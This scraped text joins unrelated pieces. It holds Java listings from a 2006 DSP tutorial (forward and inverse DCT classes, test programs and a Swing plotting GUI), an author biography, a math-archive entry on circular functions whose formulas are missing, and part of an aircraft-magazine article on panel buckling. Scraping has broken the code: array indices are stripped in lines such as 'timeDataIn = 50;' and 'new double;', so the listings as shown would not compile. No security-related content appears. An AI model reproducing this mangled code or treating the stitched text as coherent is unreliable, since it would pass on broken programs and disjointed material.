ForwardDCT01{ public static void transform(double[] x, double[] y){ int N = x.length; //Outer loop interates on frequency values. for(int k=0; k < N;k++){ double sum = 0.0; //Inner loop iterates on time-series points. for(int n=0; n < N; n++){ double arg = PI*k*(2.0*n+1)/(2*N); double cosine = cos(arg); double product = x[n]*cosine; sum += product; }//end inner loop double alpha; if(k == 0){ alpha = 1.0/sqrt(2); }else{ alpha = 1; }//end else y[k] = sum*alpha*sqrt(2.0/N); }//end outer loop }//end transform method //-----------------------------------------------------// }//end class ForwardDCT01Listing 12```\n\nListing 13\n\n ```/*File InverseDCT01.java Copyright 2006, R.G.Baldwin Rev 01/03/06 The static method named transform performs an inverse Discreet Cosine Transform (DCT) on an incoming DCT spectrum and returns the DCT time series. See http://en.wikipedia.org/wiki/Discrete_cosine_transform #DCT-II and http://rkb.home.cern.ch/rkb/AN16pp/node61.html for background on the DCT. This formulation is from http://www.cmlab.csie.ntu.edu.tw/cml/dsp/training/ coding/transform/dct.html Incoming parameters are: double[] y - incoming real data double[] x - outgoing real data Tested using J2SE 5.0 under WinXP. Requires J2SE 5.0 or later due to the use of static import of Math class. **********************************************************/ import static java.lang.Math.*; public class InverseDCT01{ public static void transform(double[] y, double[] x){ int N = y.length; //Outer loop interates on time values. for(int n=0; n < N;n++){ double sum = 0.0; //Inner loop iterates on frequency values for(int k=0; k < N; k++){ double arg = PI*k*(2.0*n+1)/(2*N); double cosine = cos(arg); double product = y[k]*cosine; double alpha; if(k == 0){ alpha = 1.0/sqrt(2); }else{ alpha = 1; }//end else sum += alpha * product; }//end inner loop x[n] = sum * sqrt(2.0/N); }//end outer loop }//end transform method //-----------------------------------------------------// }//end class InverseDCT01Listing 13```\n\nListing 14\n\n ```/* File Dsp042.java Copyright 2006, R.G.Baldwin Revised 01/05/06 Note: Dsp044 will investigate the impact of breaking the time series into eight-sample segments to be consistent with the 8x8 blocks in JPEG. Illustrates the application of forward and inverse Discrete Cosine Transform (DCT) to three different waveforms. Very similar to Dsp035, which applies full forward and inverse Fourier transforms to the same three waveforms See http://en.wikipedia.org/wiki/Discrete_cosine_transform #DCT-II, http://rkb.home.cern.ch/rkb/AN16pp/node61.html, and http://www.cmlab.csie.ntu.edu.tw/cml/dsp/training/ coding/transform/dct.html fortechnical background information on the Discrete Cosine Transform. Shows a plot of the input time series, the DCT spectrum, and the output time series resulting from the inverse DCT. Run with Graph03. Enter the following to run the program: java Graph03 Dsp042 Execution of this program requires access to the following class files: Dsp042.class ForwardDCT01.class Graph01.class GraphIntfc01.class GUI\\$MyCanvas.class GUI.class InverseDCT01.class Tested using J2SE 5.0 under WinXP. Requires J2SE 5.0 or later due to the use of static import of Math class. **********************************************************/ import java.util.*; import static java.lang.Math.*; class Dsp042 implements GraphIntfc01{ int len = 256; double[] timeDataIn = new double[len]; double[] realSpect = new double[len]; double[] timeDataOut = new double[len]; int zero = 0; public Dsp042(){//constructor //Create the raw data pulses timeDataIn = 0; timeDataIn = 50; timeDataIn = 75; timeDataIn = 80; timeDataIn = 75; timeDataIn = 50; timeDataIn = 25; timeDataIn = 0; timeDataIn = -25; timeDataIn = -50; timeDataIn = -75; timeDataIn = -80; timeDataIn = -60; timeDataIn = -40; timeDataIn = -26; timeDataIn = -17; timeDataIn = -11; timeDataIn = -8; timeDataIn = -5; timeDataIn = -3; timeDataIn = -2; timeDataIn = -1; timeDataIn = 80; timeDataIn = 80; timeDataIn = 80; timeDataIn = 80; timeDataIn = -80; timeDataIn = -80; timeDataIn = -80; timeDataIn = -80; timeDataIn = 80; timeDataIn = 80; timeDataIn = 80; timeDataIn = 80; timeDataIn = -80; timeDataIn = -80; timeDataIn = -80; timeDataIn = -80; //Create raw data sinusoid for(int x = len/3;x < 3*len/4;x++){ timeDataIn[x] = 80.0 * Math.sin( 2*PI*(x)*1.0/20.0); }//end for loop //Compute forward DCT of the time data and save it in // the output array. ForwardDCT01.transform(timeDataIn,realSpect); //Compute inverse DCT of the time data and save it in // the output array. InverseDCT01.transform(realSpect,timeDataOut); }//end constructor //-----------------------------------------------------// //The following six methods are required by the interface // named GraphIntfc01. public int getNmbr(){ //Return number of curves to plot. Must not exceed 5. return 3; }//end getNmbr //-----------------------------------------------------// public double f1(double x){ int index = (int)round(x); if(index < 0 || index > timeDataIn.length-1){ return 0; }else{ return timeDataIn[index]; }//end else }//end function //-----------------------------------------------------// public double f2(double x){ int index = (int)round(x); if(index < 0 || index > realSpect.length-1){ return 0; }else{ //Scale for convenient viewing return 0.22*realSpect[index]; }//end else }//end function //-----------------------------------------------------// public double f3(double x){ int index = (int)round(x); if(index < 0 || index > timeDataOut.length-1){ return 0; }else{ return timeDataOut[index]; }//end else }//end function //-----------------------------------------------------// public double f4(double x){ return 0; }//end function //-----------------------------------------------------// public double f5(double x){ return 0; }//end function //-----------------------------------------------------// }//end sample class Dsp042 Listing 14```\n\nListing 15\n\n ```/* File Dsp044.java Copyright 2006, R.G.Baldwin Revised 01/03/06 Update of Dsp042 to investigate the impact of breaking the time series into eight-sample segments in order to be consistent with the 8x8 blocks in JPEG. There appears to be no impact. The output is a very good replica of the input. Illustrates the application of forward and inverse Discrete Cosine Transform (DCT) to three different waveforms. Very similar to Dsp035, which applies full forward and inverse Fourier transforms to the same three waveforms See http://en.wikipedia.org/wiki/Discrete_cosine_transform #DCT-II, http://rkb.home.cern.ch/rkb/AN16pp/node61.html, and http://www.cmlab.csie.ntu.edu.tw/cml/dsp/training/ coding/transform/dct.html fortechnical background information on the Discrete Cosine Transform. Shows a plot of the input time series, and the output time series resulting from the inverse DCT. Can't show the spectrum because a new spectrum is produced every eight samples. Run with Graph03. Enter the following to run the program: java Graph03 Dsp044 Execution of this program requires access to the following class files: Dsp044.class ForwardDCT01.class Graph01.class GraphIntfc01.class GUI\\$MyCanvas.class GUI.class InverseDCT01.class Tested using J2SE 5.0 under WinXP. Requires J2SE 5.0 or later due to the use of static import of Math class. **********************************************************/ import java.util.*; import static java.lang.Math.*; class Dsp044 implements GraphIntfc01{ int len = 256; double[] timeDataIn = new double[len]; double[] timeDataOut = new double[len]; int zero = 0; public Dsp044(){//constructor //Create the raw data pulses timeDataIn = 0; timeDataIn = 50; timeDataIn = 75; timeDataIn = 80; timeDataIn = 75; timeDataIn = 50; timeDataIn = 25; timeDataIn = 0; timeDataIn = -25; timeDataIn = -50; timeDataIn = -75; timeDataIn = -80; timeDataIn = -60; timeDataIn = -40; timeDataIn = -26; timeDataIn = -17; timeDataIn = -11; timeDataIn = -8; timeDataIn = -5; timeDataIn = -3; timeDataIn = -2; timeDataIn = -1; timeDataIn = 80; timeDataIn = 80; timeDataIn = 80; timeDataIn = 80; timeDataIn = -80; timeDataIn = -80; timeDataIn = -80; timeDataIn = -80; timeDataIn = 80; timeDataIn = 80; timeDataIn = 80; timeDataIn = 80; timeDataIn = -80; timeDataIn = -80; timeDataIn = -80; timeDataIn = -80; //Create raw data sinusoid for(int x = len/3;x < 3*len/4;x++){ timeDataIn[x] = 80.0 * Math.sin( 2*PI*(x)*1.0/20.0); }//end for loop double[] workingArrayIn = new double; double[] workingArrayOut = new double; double[] realSpect = new double; int segmentCnt = 0; //Compute forward and inverse DCTs on the input signal, // eight samples at a time. Concatenate the output // segments from the DCT to represent the output // signal. while((segmentCnt + 8) <= len){ System.arraycopy(timeDataIn, segmentCnt, workingArrayIn, 0, 8); //Compute forward DCT of the time data and save it in // the output array. ForwardDCT01.transform(workingArrayIn,realSpect); //Compute inverse DCT of the time data and save it in // the output array. InverseDCT01.transform(realSpect,workingArrayOut); //Concatenate the new output with the old output. System.arraycopy(workingArrayOut, 0, timeDataOut, segmentCnt, 8); segmentCnt += 8; }//end while }//end constructor //-----------------------------------------------------// //The following six methods are required by the interface // named GraphIntfc01. public int getNmbr(){ //Return number of curves to plot. Must not exceed 5. return 2; }//end getNmbr //-----------------------------------------------------// public double f1(double x){ int index = (int)round(x); if(index < 0 || index > timeDataIn.length-1){ return 0; }else{ return timeDataIn[index]; }//end else }//end function //-----------------------------------------------------// public double f2(double x){ int index = (int)round(x); if(index < 0 || index > timeDataOut.length-1){ return 0; }else{ return timeDataOut[index]; }//end else }//end function //-----------------------------------------------------// public double f3(double x){ return 0; }//end function //-----------------------------------------------------// public double f4(double x){ return 0; }//end function //-----------------------------------------------------// public double f5(double x){ return 0; }//end function //-----------------------------------------------------// }//end class Dsp044 Listing 15```\n\nListing 16\n\n ```/* File Graph03.java Copyright 2002, R.G.Baldwin This program is very similar to Graph01 except that it has been modified to allow the user to manually resize and replot the frame. Note: This program requires access to the interface named GraphIntfc01. This is a plotting program. It is designed to access a class file, which implements GraphIntfc01, and to plot up to five functions defined in that class file. The plotting surface is divided into the required number of equally sized plotting areas, and one function is plotted on cartesian coordinates in each area. The methods corresponding to the functions are named f1, f2, f3, f4, and f5. The class containing the functions must also define a method named getNmbr(), which takes no parameters and returns the number of functions to be plotted. If this method returns a value greater than 5, a NoSuchMethodException will be thrown. Note that the constructor for the class that implements GraphIntfc01 must not require any parameters due to the use of the newInstance method of the Class class to instantiate an object of that class. If the number of functions is less than 5, then the absent method names must begin with f5 and work down toward f1. For example, if the number of functions is 3, then the program will expect to call methods named f1, f2, and f3. It is OK for the absent methods to be defined in the class. They simply won't be invoked. The plotting areas have alternating white and gray backgrounds to make them easy to separate visually. All curves are plotted in black. A cartesian coordinate system with axes, tic marks, and labels is drawn in red in each plotting area. The cartesian coordinate system in each plotting area has the same horizontal and vertical scale, as well as the same tic marks and labels on the axes. The labels displayed on the axes, correspond to the values of the extreme edges of the plotting area. The program also compiles a sample class named junk, which contains five methods and the method named getNmbr. This makes it easy to compile and test this program in a stand-alone mode. At runtime, the name of the class that implements the GraphIntfc01 interface must be provided as a command-line parameter. If this parameter is missing, the program instantiates an object from the internal class named junk and plots the data provided by that class. Thus, you can test the program by running it with no command-line parameter. This program provides the following text fields for user input, along with a button labeled Graph. This allows the user to adjust the parameters and replot the graph as many times with as many plotting scales as needed: xMin = minimum x-axis value xMax = maximum x-axis value yMin = minimum y-axis value yMax = maximum y-axis value xTicInt = tic interval on x-axis yTicInt = tic interval on y-axis xCalcInc = calculation interval The user can modify any of these parameters and then click the Graph button to cause the five functions to be re-plotted according to the new parameters. Whenever the Graph button is clicked, the event handler instantiates a new object of the class that implements the GraphIntfc01 interface. Depending on the nature of that class, this may be redundant in some cases. However, it is useful in those cases where it is necessary to refresh the values of instance variables defined in the class (such as a counter, for example). Tested using JDK 1.4.0 under Win 2000. This program uses constants that were first defined in the Color class of v1.4.0. Therefore, the program requires v1.4.0 or later to compile and run correctly. **************************************/ import java.awt.*; import java.awt.event.*; import java.awt.geom.*; import javax.swing.*; import javax.swing.border.*; class Graph03{ public static void main( String[] args) throws NoSuchMethodException, ClassNotFoundException, InstantiationException, IllegalAccessException{ if(args.length == 1){ //pass command-line paramater new GUI(args); }else{ //no command-line parameter given new GUI(null); }//end else }// end main }//end class Graph03 definition //===================================// class GUI extends JFrame implements ActionListener{ //Define plotting parameters and // their default values. double xMin = 0.0; double xMax = 400.0; double yMin = -100.0; double yMax = 100.0; //Tic mark intervals double xTicInt = 20.0; double yTicInt = 20.0; //Tic mark lengths. If too small // on x-axis, a default value is // used later. double xTicLen = (yMax-yMin)/50; double yTicLen = (xMax-xMin)/50; //Calculation interval along x-axis double xCalcInc = 1.0; //Text fields for plotting parameters JTextField xMinTxt = new JTextField(\"\" + xMin); JTextField xMaxTxt = new JTextField(\"\" + xMax); JTextField yMinTxt = new JTextField(\"\" + yMin); JTextField yMaxTxt = new JTextField(\"\" + yMax); JTextField xTicIntTxt = new JTextField(\"\" + xTicInt); JTextField yTicIntTxt = new JTextField(\"\" + yTicInt); JTextField xCalcIncTxt = new JTextField(\"\" + xCalcInc); //Panels to contain a label and a // text field JPanel pan0 = new JPanel(); JPanel pan1 = new JPanel(); JPanel pan2 = new JPanel(); JPanel pan3 = new JPanel(); JPanel pan4 = new JPanel(); JPanel pan5 = new JPanel(); JPanel pan6 = new JPanel(); //Misc instance variables int frmWidth = 408; int frmHeight = 430; int width; int height; int number; GraphIntfc01 data; String args = null; //Plots are drawn on the canvases // in this array. Canvas[] canvases; //Constructor GUI(String args)throws NoSuchMethodException, ClassNotFoundException, InstantiationException, IllegalAccessException{ if(args != null){ //Save for use later in the // ActionEvent handler this.args = args; //Instantiate an object of the // target class using the String // name of the class. data = (GraphIntfc01) Class.forName(args). newInstance(); }else{ //Instantiate an object of the // test class named junk. data = new junk(); }//end else //Create array to hold correct // number of Canvas objects. canvases = new Canvas[data.getNmbr()]; //Throw exception if number of // functions is greater than 5. number = data.getNmbr(); if(number > 5){ throw new NoSuchMethodException( \"Too many functions. \" + \"Only 5 allowed.\"); }//end if //Create the control panel and // give it a border for cosmetics. JPanel ctlPnl = new JPanel(); ctlPnl.setLayout(//?rows x 4 cols new GridLayout(0,4)); ctlPnl.setBorder( new EtchedBorder()); //Button for replotting the graph JButton graphBtn = new JButton(\"Graph\"); graphBtn.addActionListener(this); //Populate each panel with a label // and a text field. Will place // these panels in a grid on the // control panel later. pan0.add(new JLabel(\"xMin\")); pan0.add(xMinTxt); pan1.add(new JLabel(\"xMax\")); pan1.add(xMaxTxt); pan2.add(new JLabel(\"yMin\")); pan2.add(yMinTxt); pan3.add(new JLabel(\"yMax\")); pan3.add(yMaxTxt); pan4.add(new JLabel(\"xTicInt\")); pan4.add(xTicIntTxt); pan5.add(new JLabel(\"yTicInt\")); pan5.add(yTicIntTxt); pan6.add(new JLabel(\"xCalcInc\")); pan6.add(xCalcIncTxt); //Add the populated panels and the // button to the control panel with // a grid layout. ctlPnl.add(pan0); ctlPnl.add(pan1); ctlPnl.add(pan2); ctlPnl.add(pan3); ctlPnl.add(pan4); ctlPnl.add(pan5); ctlPnl.add(pan6); ctlPnl.add(graphBtn); //Create a panel to contain the // Canvas objects. They will be // displayed in a one-column grid. JPanel canvasPanel = new JPanel(); canvasPanel.setLayout(//?rows,1 col new GridLayout(0,1)); //Create a custom Canvas object for // each function to be plotted and // add them to the one-column grid. // Make background colors alternate // between white and gray. for(int cnt = 0; cnt < number; cnt++){ switch(cnt){ case 0 : canvases[cnt] = new MyCanvas(cnt); canvases[cnt].setBackground( Color.WHITE); break; case 1 : canvases[cnt] = new MyCanvas(cnt); canvases[cnt].setBackground( Color.LIGHT_GRAY); break; case 2 : canvases[cnt] = new MyCanvas(cnt); canvases[cnt].setBackground( Color.WHITE); break; case 3 : canvases[cnt] = new MyCanvas(cnt); canvases[cnt].setBackground( Color.LIGHT_GRAY); break; case 4 : canvases[cnt] = new MyCanvas(cnt); canvases[cnt]. setBackground(Color.WHITE); }//end switch //Add the object to the grid. canvasPanel.add(canvases[cnt]); }//end for loop //Add the sub-assemblies to the // frame. Set its location, size, // and title, and make it visible. getContentPane(). add(ctlPnl,\"South\"); getContentPane(). add(canvasPanel,\"Center\"); setBounds(0,0,frmWidth,frmHeight); if(args == null){ setTitle(\"Graph03, \" + \"Copyright 2002, \" + \"Richard G. Baldwin\"); }else{ setTitle(\"Graph03/\" + args + \" Copyright 2002, \" + \"R. G. Baldwin\"); }//end else setVisible(true); //Set to exit on X-button click setDefaultCloseOperation( EXIT_ON_CLOSE); //Guarantee a repaint on startup. for(int cnt = 0; cnt < number; cnt++){ canvases[cnt].repaint(); }//end for loop }//end constructor //---------------------------------// //This event handler is registered // on the JButton to cause the // functions to be replotted. public void actionPerformed( ActionEvent evt){ //Re-instantiate the object that // provides the data try{ if(args != null){ data = (GraphIntfc01)Class. forName(args).newInstance(); }else{ data = new junk(); }//end else }catch(Exception e){ //Known to be safe at this point. // Otherwise would have aborted // earlier. }//end catch //Set plotting parameters using // data from the text fields. xMin = Double.parseDouble( xMinTxt.getText()); xMax = Double.parseDouble( xMaxTxt.getText()); yMin = Double.parseDouble( yMinTxt.getText()); yMax = Double.parseDouble( yMaxTxt.getText()); xTicInt = Double.parseDouble( xTicIntTxt.getText()); yTicInt = Double.parseDouble( yTicIntTxt.getText()); xCalcInc = Double.parseDouble( xCalcIncTxt.getText()); //Calculate new values for the // length of the tic marks on the // axes. If too small on x-axis, // a default value is used later. xTicLen = (yMax-yMin)/50; yTicLen = (xMax-xMin)/50; //Repaint the plotting areas for(int cnt = 0; cnt < number; cnt++){ canvases[cnt].repaint(); }//end for loop }//end actionPerformed //---------------------------------// //This is an inner class, which is used // to override the paint method on the // plotting surface. class MyCanvas extends Canvas{ int cnt;//object number //Factors to convert from double // values to integer pixel locations. double xScale; double yScale; MyCanvas(int cnt){//save obj number this.cnt = cnt; }//end constructor //Override the paint method public void paint(Graphics g){ //Get and save the size of the // plotting surface width = canvases.getWidth(); height = canvases.getHeight(); //Calculate the scale factors xScale = width/(xMax-xMin); yScale = height/(yMax-yMin); //Set the origin based on the // minimum values in x and y g.translate((int)((0-xMin)*xScale), (int)((0-yMin)*yScale)); drawAxes(g);//Draw the axes g.setColor(Color.BLACK); //Get initial data values double xVal = xMin; int oldX = getTheX(xVal); int oldY = 0; //Use the Canvas obj number to // determine which method to // invoke to get the value for y. switch(cnt){ case 0 : oldY = getTheY(data.f1(xVal)); break; case 1 : oldY = getTheY(data.f2(xVal)); break; case 2 : oldY = getTheY(data.f3(xVal)); break; case 3 : oldY = getTheY(data.f4(xVal)); break; case 4 : oldY = getTheY(data.f5(xVal)); }//end switch //Now loop and plot the points while(xVal < xMax){ int yVal = 0; //Get next data value. Use the // Canvas obj number to // determine which method to // invoke to get the value for y. switch(cnt){ case 0 : yVal = getTheY(data.f1(xVal)); break; case 1 : yVal = getTheY(data.f2(xVal)); break; case 2 : yVal = getTheY(data.f3(xVal)); break; case 3 : yVal = getTheY(data.f4(xVal)); break; case 4 : yVal = getTheY(data.f5(xVal)); }//end switch1 //Convert the x-value to an int // and draw the next line segment int x = getTheX(xVal); g.drawLine(oldX,oldY,x,yVal); //Increment along the x-axis xVal += xCalcInc; //Save end point to use as start // point for next line segment. oldX = x; oldY = yVal; }//end while loop }//end overridden paint method //---------------------------------// //Method to draw axes with tic marks // and labels in the color RED void drawAxes(Graphics g){ g.setColor(Color.RED); //Lable left x-axis and bottom // y-axis. These are the easy // ones. Separate the labels from // the ends of the tic marks by // two pixels. g.drawString(\"\" + (int)xMin, getTheX(xMin), getTheY(xTicLen/2)-2); g.drawString(\"\" + (int)yMin, getTheX(yTicLen/2)+2, getTheY(yMin)); //Label the right x-axis and the // top y-axis. These are the hard // ones because the position must // be adjusted by the font size and // the number of characters. //Get the width of the string for // right end of x-axis and the // height of the string for top of // y-axis //Create a string that is an // integer representation of the // label for the right end of the // x-axis. Then get a character // array that represents the // string. int xMaxInt = (int)xMax; String xMaxStr = \"\" + xMaxInt; char[] array = xMaxStr. toCharArray(); //Get a FontMetrics object that can // be used to get the size of the // string in pixels. FontMetrics fontMetrics = g.getFontMetrics(); //Get a bounding rectangle for the // string Rectangle2D r2d = fontMetrics.getStringBounds( array,0,array.length,g); //Get the width and the height of // the bounding rectangle. The // width is the width of the label // at the right end of the // x-axis. The height applies to // all the labels, but is needed // specifically for the label at // the top end of the y-axis. int labWidth = (int)(r2d.getWidth()); int labHeight = (int)(r2d.getHeight()); //Label the positive x-axis and the // positive y-axis using the width // and height from above to // position the labels. These // labels apply to the very ends of // the axes at the edge of the // plotting surface. g.drawString(\"\" + (int)xMax, getTheX(xMax)-labWidth, getTheY(xTicLen/2)-2); g.drawString(\"\" + (int)yMax, getTheX(yTicLen/2)+2, getTheY(yMax)+labHeight); //Draw the axes g.drawLine(getTheX(xMin), getTheY(0.0), getTheX(xMax), getTheY(0.0)); g.drawLine(getTheX(0.0), getTheY(yMin), getTheX(0.0), getTheY(yMax)); //Draw the tic marks on axes xTics(g); yTics(g); }//end drawAxes //---------------------------------// //Method to draw tic marks on x-axis void xTics(Graphics g){ double xDoub = 0; int x = 0; //Get the ends of the tic marks. int topEnd = getTheY(xTicLen/2); int bottomEnd = getTheY(-xTicLen/2); //If the vertical size of the // plotting area is small, the // calculated tic size may be too // small. In that case, set it to // 10 pixels. if(topEnd < 5){ topEnd = 5; bottomEnd = -5; }//end if //Loop and draw a series of short // lines to serve as tic marks. // Begin with the positive x-axis // moving to the right from zero. while(xDoub < xMax){ x = getTheX(xDoub); g.drawLine(x,topEnd,x,bottomEnd); xDoub += xTicInt; }//end while //Now do the negative x-axis moving // to the left from zero xDoub = 0; while(xDoub > xMin){ x = getTheX(xDoub); g.drawLine(x,topEnd,x,bottomEnd); xDoub -= xTicInt; }//end while }//end xTics //---------------------------------// //Method to draw tic marks on y-axis void yTics(Graphics g){ double yDoub = 0; int y = 0; int rightEnd = getTheX(yTicLen/2); int leftEnd = getTheX(-yTicLen/2); //Loop and draw a series of short // lines to serve as tic marks. // Begin with the positive y-axis // moving up from zero. while(yDoub < yMax){ y = getTheY(yDoub); g.drawLine(rightEnd,y,leftEnd,y); yDoub += yTicInt; }//end while //Now do the negative y-axis moving // down from zero. yDoub = 0; while(yDoub > yMin){ y = getTheY(yDoub); g.drawLine(rightEnd,y,leftEnd,y); yDoub -= yTicInt; }//end while }//end yTics //---------------------------------// //This method translates and scales // a double y value to plot properly // in the integer coordinate system. // In addition to scaling, it causes // the positive direction of the // y-axis to be from bottom to top. int getTheY(double y){ double yDoub = (yMax+yMin)-y; int yInt = (int)(yDoub*yScale); return yInt; }//end getTheY //---------------------------------// //This method scales a double x value // to plot properly in the integer // coordinate system. int getTheX(double x){ return (int)(x*xScale); }//end getTheX //---------------------------------// }//end inner class MyCanvas //===================================// }//end class GUI //===================================// //Sample test class. Required for // compilation and stand-alone // testing. class junk implements GraphIntfc01{ public int getNmbr(){ //Return number of functions to // process. Must not exceed 5. return 4; }//end getNmbr public double f1(double x){ return (x*x*x)/200.0; }//end f1 public double f2(double x){ return -(x*x*x)/200.0; }//end f2 public double f3(double x){ return (x*x)/200.0; }//end f3 public double f4(double x){ return 50*Math.cos(x/10.0); }//end f4 public double f5(double x){ return 100*Math.sin(x/20.0); }//end f5 }//end sample class junk Listing 16```\n\nListing 17\n\n ```/* File GraphIntfc01.java Copyright 2004, R.G.Baldwin Rev 5/14/04 This interface must be implemented by classes whose objects produce data to be plotted by programs such as Graph03 and Graph06. Tested using SDK 1.4.2 under WinXP. ************************************************/ public interface GraphIntfc01{ public int getNmbr(); public double f1(double x); public double f2(double x); public double f3(double x); public double f4(double x); public double f5(double x); }//end GraphIntfc01Listing 17```\n\nCopyright 2006, Richard G. Baldwin. Reproduction in whole or in part in any\nform or medium without express written permission from Richard Baldwin is\nprohibited.\n\nRichard Baldwin is a\ncollege professor (at Austin Community College in Austin, TX) and private\nconsultant whose primary focus is a combination of Java, C#, and XML. In\naddition to the many platform and/or language independent benefits of Java and\nC# applications, he believes that a combination of Java, C#, and XML will become\nthe primary driving force in the delivery of structured information on the Web.\n\nRichard has participated in numerous consulting projects and he\nfrequently provides onsite training at the high-tech companies located in and\naround Austin, Texas. He is the author of Baldwin’s Programming\nTutorials, which have gained a\nworldwide following among experienced and aspiring programmers. He has also\npublished articles in JavaPro magazine.\n\nIn addition to his programming expertise, Richard has many years of\npractical experience in Digital Signal Processing (DSP). His first job after he\nearned his Bachelor’s degree was doing DSP in the Seismic Research Department of\nTexas Instruments. (TI is still a world leader in DSP.) In the following\nyears, he applied his programming and DSP expertise to other interesting areas\nincluding sonar and underwater acoustics.\n\nRichard holds an MSEE degree from Southern Methodist University and has\nmany years of experience in the application of computer technology to real-world\nproblems.\n\n[email protected]"
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"data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20409%20431'%3E%3C/svg%3E",
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"data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20409%20431'%3E%3C/svg%3E",
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"data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20409%20293'%3E%3C/svg%3E",
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"data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20409%20226'%3E%3C/svg%3E",
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"https://devcomprd.wpengine.com/wp-content/uploads/2021/03/java2444a4.jpg",
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https://archive.lib.msu.edu/crcmath/math/math/c/c335.htm | [
"## Circular Functions\n\nThe functions describing the horizontal and vertical positions of a point on a Circle as a function of Angle (Cosine and Sine) and those functions derived from them:",
null,
"",
null,
"",
null,
"(1)",
null,
"",
null,
"",
null,
"(2)",
null,
"",
null,
"",
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"(3)",
null,
"",
null,
"",
null,
"(4)\n\nThe study of circular functions is called Trigonometry.\n\nSee also Cosecant, Cosine, Cotangent, Elliptic Function, Generalized Hyperbolic Functions, Hyperbolic Functions, Secant, Sine, Tangent, Trigonometry\n\nReferences\n\nAbramowitz, M. and Stegun, C. A. (Eds.). Circular Functions.'' §4.3 in Handbook of Mathematical Functions with Formulas, Graphs, and Mathematical Tables, 9th printing. New York: Dover, pp. 71-79, 1972."
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"https://archive.lib.msu.edu/crcmath/math/math/c/c2_98.gif",
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"https://archive.lib.msu.edu/crcmath/math/math/c/c2_99.gif",
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"https://archive.lib.msu.edu/crcmath/math/math/c/c2_100.gif",
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"https://archive.lib.msu.edu/crcmath/math/math/c/c2_98.gif",
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"https://archive.lib.msu.edu/crcmath/math/math/c/c2_101.gif",
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"https://archive.lib.msu.edu/crcmath/math/math/c/c2_102.gif",
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"https://archive.lib.msu.edu/crcmath/math/math/c/c2_98.gif",
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"https://archive.lib.msu.edu/crcmath/math/math/c/c2_103.gif",
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"https://archive.lib.msu.edu/crcmath/math/math/c/c2_104.gif",
null,
"https://archive.lib.msu.edu/crcmath/math/math/c/c2_98.gif",
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"https://archive.lib.msu.edu/crcmath/math/math/c/c2_105.gif",
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https://www.kitplanes.com/stressing-structure-10/ | [
"# Stressing Structure\n\nBuckling of Panels.\n\n0",
null,
"Figure 1: Mike Rettig’s RV-10 aft fuselage section uses aluminum panels and stiffeners for primary structure. (Photo: Mike Rettig)\n\nYou might have noticed that most airplanes have some sort of exterior surface, perhaps fabric or something more rigid like aluminum or composite. Structurally, it can make sense to make the outer surface rigid, since that can provide the maximum possible rigidity. Plus the surface generally has to be there anyway, so it might as well be useful. If it’s properly done and carries load, then it can even save weight, compared to an internal skeleton.\n\nPanels can buckle when loaded in compression or shear, and that’s a major issue. The panels are generally thin, and thin panels can’t carry as much load, obviously, as thick panels. Less obvious is the fact that their overall dimensions affect the buckling load just as much as the thickness does. That’s one of the reasons why we often have stiffeners attached; they divide a single large panel into smaller ones. If done right they also carry some load themselves and that further helps. We’ll look at stiffeners in another article. Here, we’re looking at the panels themselves. We’re assuming that the panels are flat. Often there’s actually a slight curvature and we should ignore the minor additional buckling resistance the curvature provides. If the curve is significant, though, we ought to take advantage of the curve, because it’ll stiffen the panel. If the curve is in the direction of the compression load, so that the panel is being loaded out of plane, the techniques described here aren’t applicable.",
null,
"Figure 2: Parameters for buckling in compression. Generally speaking, curve C is usually applicable.\n\nPanels start to buckle at a stress that we can calculate, fortunately. Here’s the equation for this for panels loaded in compression:\n\nEquation 1: fc = (π2 * Kc * E) / (12 * (1 – ν2)) * ( t / b)2\n\nWhere\nfc = compressive stress that will buckle the panel, psi\nKc = a constant we’ll pull off Figure 2\nE = our old friend, the modulus of elasticity, psi\nt = the thickness of the panel, inches\nb = the short dimension of the panel, inches\nν = Poisson’s ratio, a material property\n\nThe equation for the buckling stress of a panel in shear is almost exactly the same. The only differences are that it uses a constant from a different graph:\n\nEquation 2: fs = (π2 * Ks * E) / (12 * (1 – ν2)) * ( t / b)2\n\nWhere\nfs = the shear stress that will buckle the panel, psi\nKs = a shear constant we’ll find on Figure 3\n\nThere might even be some in-plane bending. If there is, that also uses a form of the same basic equation:\n\nEquation 3: fb = (π2 * Kb * E) / (12 * (1 – ν2)) * ( t / b)2\n\nWhere\nfb = the bending stress that will buckle the panel, psi\nKb = a constant we’ll get from Figure 4\n\nFigure 4 shows curves that are a bit more complicated than the other graphs. The first thing to note is that the curves are wavy. You can see a little bit of that in Figures 2 and 3, too. This is because the proportions of the panel matter a lot in bending, and this gives you a way to tweak the strength at relatively low cost. If you can get a length/width ratio that falls near a peak on the curve, the panel will buckle at a higher stress than if it falls in a trough.\n\nAnother aspect of the curves is that there are a lot of them, and they seem to depend on a mysterious factor called β. β is a number that is used to assess the amount of the panel that’s in compression. Normally, of course, symmetric panels or beams in pure bending have a neutral axis halfway across their height. If there’s a compression stress applied to the panel in addition to the bending, then there’s more of the panel that’s in compression and β allows for that. If there’s no compression,\n\nβ = 2. If there were some compression, we’d have to draw it out, making a little sketch to scale and assess β as necessary.\n\nAs you might have guessed by now, it’s not quite as simple as it seemed. But it almost is.\n\nFirst, we have the usual three types of edge fixity. Since the panels are rectangular, they have four sides. Each side can either be fixed, simply-supported or free. It’s difficult to put loads or reactions into a free edge, so generally those would be on the unloaded sides, if any are free at all. Most aircraft panels aren’t. The panels are either simply supported or fixed. “Clamped” is another word used to describe a fixed edge.\n\nSimply supported means that the edge can’t move out of plane, but it’s free to rotate. It’s the panel version of the pin-ended condition that struts have. For example, a large panel with a stiffener down the middle is simply supported at the stiffener. In Figure 1, all the skin panels are simply supported by the stiffeners or bulkheads.\n\nA fixed edge means that the edge not only can’t move out of plane, it can’t rotate. These aren’t too common, but they do exist. A good example is that often if a wingskin is riveted firmly to a mainspar cap, the skin’s probably fixed at the spar. But it might not be, since that takes considerable stiffness, so be sure. However, I’d expect it to be simply supported at a rib, though.\n\nTable 1 shows some of the material properties for some of the more common metals. While not many homebuilt aircraft use panels of 4130, a welded box or plate structure of it is often highly loaded, and it’s worth checking it for buckling. I’ve included titanium because of its excellent strength. If you’re designing an airplane, it might be worth considering.",
null,
